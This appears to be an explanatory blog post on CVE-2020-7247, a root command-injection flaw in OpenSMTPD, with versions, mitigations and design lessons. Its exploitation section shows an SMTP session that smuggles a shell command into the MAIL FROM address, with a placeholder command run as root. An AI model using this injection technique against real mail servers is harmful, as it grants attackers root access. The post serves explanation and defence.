Privileged Remote Code Execution in OpenSMTPD


OpenSMTPD is the mail transfer agent (e-mail server) of the OpenBSD operating system, and is also available as a ‘portable’ version for other Unix systems such as GNU/Linux. OpenBSD is known for having a strong focus on security features, and serious security vulnerabilities in OpenBSD are very rare - there have only been two remote holes exploitable in the default install in the project’s 23-year existence. The recent CVE-2020-7247 vulnerability in OpenSMTPD, announced on the 29th of January 2020, very nearly added a third item to that list.

Functionality

As a mail transfer agent (MTA), OpenSMTPD can perform the following functions:

  1. Accept e-mail from local processes for delivery to a local address (e.g. notifying the system administrator when a cron job failed) and save that e-mail to the relevant user’s inbox.
  2. Accept e-mail from local processes for delivery to a remote address (e.g. a web application sending a password reset e-mail) and pass it on to that address’s e-mail server.
  3. Accept e-mail over the internet for delivery to a local address (e.g. someone else sending an e-mail to a user of this system) and save that e-mail to the relevant user’s inbox.
  4. Accept e-mail over the internet from authenticated users for delivery to a remote address (e.g. a logged-in user sending e-mail from an e-mail client on a mobile phone) and pass it on to that address’s e-mail server.

The default configuration only allows the first two use cases and does not accept remote connections; this is what stopped this vulnerability from counting as a “remote hole in the default install”. If the server configuration is changed to allow receiving mail from other systems then the vulnerability can be exploited remotely too.

Vulnerability

The vulnerability is caused by improper validation of the e-mail sender address. When receiving e-mail for local users, the OpenSMTPD server calls an external process to save it to the user’s inbox; this simplifies supporting different file formats for the inbox as well as allowing users to create custom rules for processing the e-mails they receive. The sender address is included in the command line when the mailbox delivery program is called; if the sender address includes shell metacharacters then these will be interpreted by the shell, allowing the execution of commands on the server.

Exploitation

Before showing how the vulnerability is exploited, here is an example of a normal, non-malicious e-mail being transferred:

SENDER> [connects to server on port 25]
SERVER> 220 vulnerable-server.net ESMTP OpenSMTPD
SENDER> HELO friendly-sender.org
SERVER> 250 vulnerable-server.net Hello friendly-sender.org, pleased to meet you
SENDER> MAIL FROM:<alice@friendly-sender.org>
SERVER> 250 2.0.0 Ok
SENDER> RCPT TO:<bob@vulnerable-server.net>
SERVER> 250 2.1.5 Destination address valid: Recipient ok
SENDER> DATA
SERVER> 354 Enter mail, end with "." on a line by itself
SENDER> Subject: Hello
SENDER> 
SENDER> Lorem ipsum dolor sit amet
SENDER> .
SERVER> 250 2.0.0 Message accepted for delivery

Once the message is accepted for delivery, the server runs the command: /usr/libexec/mail.local alice@friendly-sender.org bob and passes the content of the mail on the standard input. The mail.local program then saves the e-mail to Bob’s inbox file.

In order to exploit the vulnerability, a hacker can include shell metacharacters (such as ;, which terminates one command and starts another) in the sender address:

HACKER> [connects to server on port 25]
SERVER> 220 vulnerable-server.net ESMTP OpenSMTPD
HACKER> HELO evil-hacker.com
SERVER> 250 vulnerable-server.net Hello evil-hacker.com, pleased to meet you
HACKER> MAIL FROM:<; killall puppies ; echo >
SERVER> 250 2.0.0 Ok
HACKER> RCPT TO:<root>
SERVER> 250 2.1.5 Destination address valid: Recipient ok
HACKER> DATA
SERVER> 354 Enter mail, end with "." on a line by itself
HACKER> Subject: Kill all puppies!
HACKER> 
HACKER> Lorem ipsum dolor sit amet
HACKER> .
SERVER> 250 2.0.0 Message accepted for delivery

Once the message is accepted for delivery, the server runs the command /usr/libexec/mail.local ; killall puppies ; echo @vulnerable-server.net root (the @vulnerable-server.net is added because the address validation mistakenly assumes that the e-mail has come from a local process on the same server) and the shell interprets this as:

/usr/libexec/mail.local
killall puppies
echo @vulnerable-server.net root

This allows the hacker to run killall puppies as root on the vulnerable server.

Vulnerable versions

The vulnerability was added in OpenSMTPD version 6.4.0, when the architecture for local mail delivery was refactored, and removed in version 6.6.2 by fixing the address validation function. Most “stable” GNU/Linux distributions (e.g. Ubuntu, Debian, Red Hat) were still using version 6.0.3, from before the vulnerability was added, and were therefore not affected.

Mitigation

The simplest fix is to upgrade to the latest version of OpenSMTPD (6.6.2 at the time of writing). There are also some possible mitigations which could have prevented or at least reduced the impact of the vulnerability:

  • Run the OpenSMTPD server inside a container, jail, virtual machine or other system which restricts its ability to interfere with other services.
  • Reduce the privileges of the OpenSMTPD process. (This has only limited potential as OpenSMTPD needs to bind to privileged ports and also needs to be able to run processes as other users to deliver mail.)
  • Configure OpenSMTPD to save messages in a maildir in the user’s home directory instead of in an mbox file in /var/spool/mail/, and to redirect root’s mail to a less-privileged user. This will mean that the mail delivery process never has to run as root.

Conclusion

The proximate cause of this vulnerability was a mistake in the validation of untrusted input, which could potentially have been caught by better code review processes or automated testing. However, the problem could have been avoided entirely if the system design did not include user input in a shell command line, and its severity would have been reduced if the command line had been run as a less-privileged user rather than as root. This demonstrates that security-conscious design can greatly reduce the attack surface of a computer system and make hackers’ lives harder.

Chris Kerr